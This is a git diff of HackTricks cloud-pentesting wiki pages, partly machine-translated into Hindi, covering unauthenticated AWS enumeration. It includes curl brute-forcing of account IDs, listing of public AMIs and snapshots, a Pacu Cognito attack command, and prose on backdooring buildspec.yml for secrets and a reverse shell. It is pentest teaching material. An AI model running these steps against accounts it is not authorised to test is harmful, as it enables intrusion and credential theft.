AWS API. +एक शेड्यूलर के लिए 2 प्रकार के लक्ष्यों होते हैं [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), जो सामान्यतः उपयोग किए जाते हैं और AWS ने उन्हें कॉन्फ़िगर करना आसान बना दिया है, और [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), जिसका उपयोग किसी भी AWS API को कॉल करने के लिए किया जा सकता है। -**Templated targets** support the following services: +**Templated targets** निम्नलिखित सेवाओं का समर्थन करते हैं: - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution - Amazon ECS – RunTask - - Parameters: EcsParameters +- Parameters: EcsParameters - EventBridge – PutEvents - - Parameters: EventBridgeParameters +- Parameters: EventBridgeParameters - Amazon Inspector – StartAssessmentRun - Kinesis – PutRecord - - Parameters: KinesisParameters +- Parameters: KinesisParameters - Firehose – PutRecord - Lambda – Invoke - SageMaker – StartPipelineExecution - - Parameters: SageMakerPipelineParameters +- Parameters: SageMakerPipelineParameters - Amazon SNS – Publish - Amazon SQS – SendMessage - - Parameters: SqsParameters +- Parameters: SqsParameters - Step Functions – StartExecution ### Enumeration - ```bash # List all EventBridge Scheduler schedules aws scheduler list-schedules @@ -65,10 +64,9 @@ aws scheduler get-schedule-group --name # List tags for a specific schedule (helpful in identifying any custom tags or permissions) aws scheduler list-tags-for-resource --resource-arn ``` - ### Privesc -In the following page, you can check how to **abuse eventbridge scheduler permissions to escalate privileges**: +In the following page, you can check how to **eventbridge scheduler अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाना**: {{#ref}} ../aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -79,7 +77,3 @@ In the following page, you can check how to **abuse eventbridge scheduler permis - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index 0003290b4..c2eb1369b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -1,58 +1,54 @@ -# AWS - Unauthenticated Enum & Access +# AWS - अनधिकृत Enum और एक्सेस {{#include ../../../banners/hacktricks-training.md}} -## AWS Credentials Leaks +## AWS क्रेडेंशियल लीक -A common way to obtain access or information about an AWS account is by **searching for leaks**. You can search for leaks using **google dorks**, checking the **public repos** of the **organization** and the **workers** of the organization in **Github** or other platforms, searching in **credentials leaks databases**... or in any other part you think you might find any information about the company and its cloud infa.\ -Some useful **tools**: +AWS खाते तक पहुँच या जानकारी प्राप्त करने का एक सामान्य तरीका है **लीक के लिए खोज करना**। आप **गूगल डॉर्क्स** का उपयोग करके, **संगठन** के **सार्वजनिक रिपोजिटरी** और संगठन के **कर्मचारियों** की **Github** या अन्य प्लेटफार्मों पर जांच करके, **क्रेडेंशियल लीक डेटाबेस** में खोज करके... या किसी अन्य भाग में जहाँ आपको कंपनी और इसके क्लाउड इंफ्रास्ट्रक्चर के बारे में कोई जानकारी मिल सकती है, लीक के लिए खोज कर सकते हैं।\ +कुछ उपयोगी **उपकरण**: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) - [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos) - [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks) -## AWS Unauthenticated Enum & Access +## AWS अनधिकृत Enum और एक्सेस -There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how: +AWS में कई सेवाएँ हैं जिन्हें इस प्रकार कॉन्फ़िगर किया जा सकता है कि सभी इंटरनेट या अपेक्षा से अधिक लोगों को कुछ प्रकार की पहुँच दी जा सके। यहाँ देखें कैसे: -- [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md) -- [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cloudfront Unauthenticated Enum**](aws-cloudfront-unauthenticated-enum.md) -- [**Cloudsearch Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cognito Unauthenticated Enum**](aws-cognito-unauthenticated-enum.md) -- [**DocumentDB Unauthenticated Enum**](aws-documentdb-enum.md) -- [**EC2 Unauthenticated Enum**](aws-ec2-unauthenticated-enum.md) -- [**Elasticsearch Unauthenticated Enum**](aws-elasticsearch-unauthenticated-enum.md) -- [**IAM Unauthenticated Enum**](aws-iam-and-sts-unauthenticated-enum.md) -- [**IoT Unauthenticated Access**](aws-iot-unauthenticated-enum.md) -- [**Kinesis Video Unauthenticated Access**](aws-kinesis-video-unauthenticated-enum.md) -- [**Media Unauthenticated Access**](aws-media-unauthenticated-enum.md) -- [**MQ Unauthenticated Access**](aws-mq-unauthenticated-enum.md) -- [**MSK Unauthenticated Access**](aws-msk-unauthenticated-enum.md) -- [**RDS Unauthenticated Access**](aws-rds-unauthenticated-enum.md) -- [**Redshift Unauthenticated Access**](aws-redshift-unauthenticated-enum.md) -- [**SQS Unauthenticated Access**](aws-sqs-unauthenticated-enum.md) -- [**S3 Unauthenticated Access**](aws-s3-unauthenticated-enum.md) +- [**खाते अनधिकृत Enum**](aws-accounts-unauthenticated-enum.md) +- [**Cloud9 अनधिकृत Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Cloudfront अनधिकृत Enum**](aws-cloudfront-unauthenticated-enum.md) +- [**Cloudsearch अनधिकृत Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Cognito अनधिकृत Enum**](aws-cognito-unauthenticated-enum.md) +- [**DocumentDB अनधिकृत Enum**](aws-documentdb-enum.md) +- [**EC2 अनधिकृत Enum**](aws-ec2-unauthenticated-enum.md) +- [**Elasticsearch अनधिकृत Enum**](aws-elasticsearch-unauthenticated-enum.md) +- [**IAM अनधिकृत Enum**](aws-iam-and-sts-unauthenticated-enum.md) +- [**IoT अनधिकृत एक्सेस**](aws-iot-unauthenticated-enum.md) +- [**Kinesis Video अनधिकृत एक्सेस**](aws-kinesis-video-unauthenticated-enum.md) +- [**Media अनधिकृत एक्सेस**](aws-media-unauthenticated-enum.md) +- [**MQ अनधिकृत एक्सेस**](aws-mq-unauthenticated-enum.md) +- [**MSK अनधिकृत एक्सेस**](aws-msk-unauthenticated-enum.md) +- [**RDS अनधिकृत एक्सेस**](aws-rds-unauthenticated-enum.md) +- [**Redshift अनधिकृत एक्सेस**](aws-redshift-unauthenticated-enum.md) +- [**SQS अनधिकृत एक्सेस**](aws-sqs-unauthenticated-enum.md) +- [**S3 अनधिकृत एक्सेस**](aws-s3-unauthenticated-enum.md) -## Cross Account Attacks +## क्रॉस खाता हमले -In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed. +बातचीत [**आइसोलेशन को तोड़ना: क्रॉस-खाता AWS कमजोरियाँ**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) में प्रस्तुत किया गया है कि कैसे कुछ सेवाएँ किसी भी AWS खाते को उन तक पहुँचने की अनुमति देती हैं क्योंकि **AWS सेवाएँ बिना खाता आईडी निर्दिष्ट किए** अनुमति दी गई थीं। -During the talk they specify several examples, such as S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**: +बातचीत के दौरान वे कई उदाहरणों को निर्दिष्ट करते हैं, जैसे S3 बकेट **क्लाउडट्रेल** (किसी भी AWS खाते) को **उनमें लिखने** की अनुमति देते हैं: ![](<../../../images/image (260).png>) -Other services found vulnerable: +अन्य सेवाएँ जो कमजोर पाई गईं: - AWS Config -- Serverless repository +- सर्वरलेस रिपोजिटरी -## Tools +## उपकरण -- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.) +- [**cloud_enum**](https://github.com/initstring/cloud_enum): मल्टी-क्लाउड OSINT उपकरण। **सार्वजनिक संसाधनों** को AWS, Azure, और Google Cloud में खोजें। समर्थित AWS सेवाएँ: ओपन / प्रोटेक्टेड S3 बकेट, awsapps (WorkMail, WorkDocs, Connect, आदि) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 84c70ed0e..4bd778191 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -2,14 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Account IDs +## खाता आईडी -If you have a target there are ways to try to identify account IDs of accounts related to the target. +यदि आपके पास एक लक्ष्य है, तो लक्ष्य से संबंधित खातों की खाता आईडी पहचानने के तरीके हैं। -### Brute-Force - -You create a list of potential account IDs and aliases and check them +### ब्रूट-फोर्स +आप संभावित खाता आईडी और उपनामों की एक सूची बनाते हैं और उन्हें जांचते हैं। ```bash # Check if an account ID exists curl -v https://.signin.aws.amazon.com @@ -17,16 +16,15 @@ curl -v https://.signin.aws.amazon.com ## It also works from account aliases curl -v https://vodafone-uk2.signin.aws.amazon.com ``` - You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). ### OSINT -Look for urls that contains `.signin.aws.amazon.com` with an **alias related to the organization**. +Look for urls that contains `.signin.aws.amazon.com` with an **संगठन से संबंधित उपनाम**. ### Marketplace -If a vendor has **instances in the marketplace,** you can get the owner id (account id) of the AWS account he used. +If a vendor has **बाजार में उदाहरण,** you can get the owner id (account id) of the AWS account he used. ### Snapshots @@ -43,7 +41,3 @@ Many AWS error messages (even access denied) will give that information. - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 5a69bebe0..4ef58c8ef 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -4,23 +4,21 @@ ### API Invoke bypass -According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers can be configured **using IAM syntax** to give permissions to invoke API endpoints. This is taken [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): - +के अनुसार [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers को **IAM सिंटैक्स** का उपयोग करके API एंडपॉइंट्स को कॉल करने की अनुमति देने के लिए कॉन्फ़िगर किया जा सकता है। यह [**दस्तावेज़ों से लिया गया है**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Permission", - "Action": ["execute-api:Execution-operation"], - "Resource": [ - "arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" - ] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Permission", +"Action": ["execute-api:Execution-operation"], +"Resource": [ +"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" +] +} +] } ``` - The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**. Some examples: @@ -41,20 +39,14 @@ For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/la In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. ### Public URL template - ``` https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` - ### Get Account ID from public API Gateway URL Just like with S3 buckets, Data Exchange and Lambda URLs gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public API Gateway URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). +यह तकनीक आपको **टैग के मान** प्राप्त करने की भी अनुमति देती है यदि आप टैग कुंजी को जानते हैं (कुछ डिफ़ॉल्ट दिलचस्प हैं)। You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md index 0284e2514..6b6bd9112 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### सार्वजनिक URL टेम्पलेट ``` https://{random_id}.cloudfront.net ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index d95410a62..a0e441a5c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -4,7 +4,7 @@ ## CodeBuild -For more info check this page: +अधिक जानकारी के लिए इस पृष्ठ को देखें: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,11 +12,11 @@ For more info check this page: ### buildspec.yml -If you compromise write access over a repository containing a file named **`buildspec.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a CodeBuild project and exfiltrate the secrets, compromise what is done and also compromise the **CodeBuild IAM role credentials**. +यदि आप **`buildspec.yml`** नामक फ़ाइल वाले एक रिपॉजिटरी पर लिखने की पहुंच को समझौता करते हैं, तो आप इस फ़ाइल को **backdoor** कर सकते हैं, जो **आदेशों को निर्दिष्ट करता है जो एक CodeBuild प्रोजेक्ट के अंदर निष्पादित होने वाले हैं** और रहस्यों को निकाल सकते हैं, जो किया जा रहा है उसे समझौता कर सकते हैं और साथ ही **CodeBuild IAM भूमिका क्रेडेंशियल्स** को भी समझौता कर सकते हैं। -Note that even if there isn't any **`buildspec.yml`** file but you know Codebuild is being used (or a different CI/CD) **modifying some legit code** that is going to be executed can also get you a reverse shell for example. +ध्यान दें कि भले ही कोई **`buildspec.yml`** फ़ाइल न हो, लेकिन यदि आप जानते हैं कि Codebuild का उपयोग किया जा रहा है (या कोई अन्य CI/CD) **कुछ वैध कोड को संशोधित करना** जो निष्पादित होने वाला है, उदाहरण के लिए, आपको एक रिवर्स शेल मिल सकता है। -For some related information you could check the page about how to attack Github Actions (similar to this): +कुछ संबंधित जानकारी के लिए आप Github Actions पर हमले के बारे में पृष्ठ देख सकते हैं (इससे मिलता-जुलता): {{#ref}} ../../../pentesting-ci-cd/github-security/abusing-github-actions/ @@ -24,16 +24,10 @@ For some related information you could check the page about how to attack Github ## Self-hosted GitHub Actions runners in AWS CodeBuild -As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this: - +जैसा कि [**दस्तावेज़ों में संकेतित है**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), यह संभव है कि **CodeBuild** को **self-hosted Github actions** चलाने के लिए कॉन्फ़िगर किया जाए जब एक वर्कफ़्लो एक कॉन्फ़िगर किए गए Github रिपॉजिटरी के अंदर ट्रिगर होता है। इसे CodeBuild प्रोजेक्ट कॉन्फ़िगरेशन की जांच करके पता लगाया जा सकता है क्योंकि **`Event type`** में शामिल होना चाहिए: **`WORKFLOW_JOB_QUEUED`** और एक Github वर्कफ़्लो में क्योंकि यह एक **self-hosted** रनर का चयन करेगा जैसे: ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` - -This new relationship between Github Actions and AWS creates another way to compromise AWS from Github as the code in Github will be running in a CodeBuild project with an IAM role attached. +यह Github Actions और AWS के बीच का नया संबंध Github से AWS को समझौता करने का एक और तरीका बनाता है क्योंकि Github में कोड एक CodeBuild प्रोजेक्ट में चल रहा होगा जिसमें एक IAM भूमिका संलग्न है। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 6f26f3a34..b2ade4929 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -4,49 +4,41 @@ ## Unauthenticated Cognito -Cognito is an AWS service that enable developers to **grant their app users access to AWS services**. Developers will grant **IAM roles to authenticated users** in their app (potentially people willbe able to just sign up) and they can also grant an **IAM role to unauthenticated users**. +Cognito एक AWS सेवा है जो डेवलपर्स को **अपने ऐप उपयोगकर्ताओं को AWS सेवाओं तक पहुंच प्रदान करने** की अनुमति देती है। डेवलपर्स **प्रमाणित उपयोगकर्ताओं** को अपने ऐप में **IAM भूमिकाएँ** प्रदान करेंगे (संभवतः लोग केवल साइन अप कर सकेंगे) और वे **अनप्रमाणित उपयोगकर्ताओं** को भी **IAM भूमिका** प्रदान कर सकते हैं। -For basic info about Cognito check: +Cognito के बारे में बुनियादी जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### Identity Pool ID +### पहचान पूल आईडी -Identity Pools can grant **IAM roles to unauthenticated users** that just **know the Identity Pool ID** (which is fairly common to **find**), and attacker with this info could try to **access that IAM rol**e and exploit it.\ -Moreoever, IAM roles could also be assigned to **authenticated users** that access the Identity Pool. If an attacker can **register a user** or already has **access to the identity provider** used in the identity pool you could access to the **IAM role being given to authenticated** users and abuse its privileges. +पहचान पूल **अनप्रमाणित उपयोगकर्ताओं** को **IAM भूमिकाएँ** प्रदान कर सकते हैं जो केवल **पहचान पूल आईडी** को **जानते हैं** (जो कि **खोजना** काफी सामान्य है), और इस जानकारी के साथ हमलावर उस **IAM भूमिका** तक पहुँचने और इसका दुरुपयोग करने की कोशिश कर सकता है।\ +इसके अलावा, IAM भूमिकाएँ उन **प्रमाणित उपयोगकर्ताओं** को भी सौंपे जा सकते हैं जो पहचान पूल तक पहुँचते हैं। यदि एक हमलावर **एक उपयोगकर्ता पंजीकृत** कर सकता है या पहले से ही पहचान पूल में उपयोग किए जाने वाले **पहचान प्रदाता** तक **पहुँच** रखता है, तो वह **प्रमाणित** उपयोगकर्ताओं को दी गई **IAM भूमिका** तक पहुँच सकता है और इसके विशेषाधिकारों का दुरुपयोग कर सकता है। -[**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). +[**यहाँ देखें कि ऐसा कैसे करें**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). -### User Pool ID +### उपयोगकर्ता पूल आईडी -By default Cognito allows to **register new user**. Being able to register a user might give you **access** to the **underlaying application** or to the **authenticated IAM access role of an Identity Pool** that is accepting as identity provider the Cognito User Pool. [**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +डिफ़ॉल्ट रूप से Cognito **नए उपयोगकर्ता को पंजीकृत** करने की अनुमति देता है। एक उपयोगकर्ता को पंजीकृत करने में सक्षम होना आपको **नींव एप्लिकेशन** या **एक पहचान पूल के प्रमाणित IAM एक्सेस भूमिका** तक **पहुँच** दे सकता है जो पहचान प्रदाता के रूप में Cognito उपयोगकर्ता पूल को स्वीकार कर रहा है। [**यहाँ देखें कि ऐसा कैसे करें**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). -### Pacu modules for pentesting and enumeration +### पैकू मॉड्यूल्स पेंटेस्टिंग और एन्यूमरेशन के लिए -[Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +[Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की एन्यूमरेशन को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताएँ जो पहुँच नियंत्रण के लिए उपयोग की जाती हैं, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और परिवर्तनीय कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं आदि के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है। -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +मॉड्यूल के कार्यों का विवरण देखने के लिए [ब्लॉग पोस्ट](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) के भाग 2 को देखें। स्थापना निर्देशों के लिए मुख्य [Pacu](https://github.com/RhinoSecurityLabs/pacu) पृष्ठ देखें। -#### Usage - -Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +#### उपयोग +एक दिए गए पहचान पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ उपयोगकर्ता निर्माण और सभी प्रिवेस्क वेक्टरों का प्रयास करने के लिए `cognito__attack` का नमूना उपयोग: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +सैंपल cognito\_\_enum का उपयोग वर्तमान AWS खाते में दृश्य सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ता आदि एकत्र करने के लिए: ```bash Pacu (new:test) > run cognito__enum ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md index 004a92c2b..0845f4d1f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### सार्वजनिक URL टेम्पलेट ``` .cluster-..docdb.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index e9e7fa8e4..3712e4f1f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -1,19 +1,15 @@ -# AWS - DynamoDB Unauthenticated Access +# AWS - DynamoDB अनधिकृत पहुँच {{#include ../../../banners/hacktricks-training.md}} ## Dynamo DB -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -Apart from giving access to all AWS or some compromised external AWS account, or have some SQL injections in an application that communicates with DynamoDB I'm don't know more options to access AWS accounts from DynamoDB. +AWS या कुछ समझौता किए गए बाहरी AWS खाते तक पहुँच देने के अलावा, या किसी एप्लिकेशन में SQL इंजेक्शन होने के कारण जो DynamoDB के साथ संचार करता है, मुझे DynamoDB से AWS खातों तक पहुँचने के और विकल्प नहीं पता हैं। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 657bf7f3a..c93b0c481 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## EC2 & Related Services +## EC2 & संबंधित सेवाएँ -Check in this page more information about this: +इस पृष्ठ पर इसके बारे में अधिक जानकारी देखें: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Public Ports +### सार्वजनिक पोर्ट -It's possible to expose the **any port of the virtual machines to the internet**. Depending on **what is running** in the exposed the port an attacker could abuse it. +यह **वर्चुअल मशीनों के किसी भी पोर्ट को इंटरनेट पर एक्सपोज़** करना संभव है। **जो चल रहा है** उस एक्सपोज़ किए गए पोर्ट पर एक हमलावर इसका दुरुपयोग कर सकता है। #### SSRF @@ -20,10 +20,9 @@ It's possible to expose the **any port of the virtual machines to the internet** https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Public AMIs & EBS Snapshots - -AWS allows to **give access to anyone to download AMIs and Snapshots**. You can list these resources very easily from your own account: +### सार्वजनिक AMIs और EBS स्नैपशॉट्स +AWS **किसी को भी AMIs और स्नैपशॉट्स डाउनलोड करने के लिए एक्सेस देने** की अनुमति देता है। आप अपने खाते से इन संसाधनों को बहुत आसानी से सूचीबद्ध कर सकते हैं: ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -38,11 +37,9 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` +यदि आप एक स्नैपशॉट पाते हैं जो किसी द्वारा भी पुनर्स्थापित किया जा सकता है, तो सुनिश्चित करें कि आप [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) पर डाउनलोड करने और स्नैपशॉट लूटने के लिए निर्देशों की जांच करें। -If you find a snapshot that is restorable by anyone, make sure to check [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) for directions on downloading and looting the snapshot. - -#### Public URL template - +#### सार्वजनिक URL टेम्पलेट ```bash # EC2 ec2-{ip-seperated}.compute-1.amazonaws.com @@ -50,15 +47,8 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` - -### Enumerate EC2 instances with public IP - +### सार्वजनिक IP के साथ EC2 उदाहरणों की गणना करें ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md 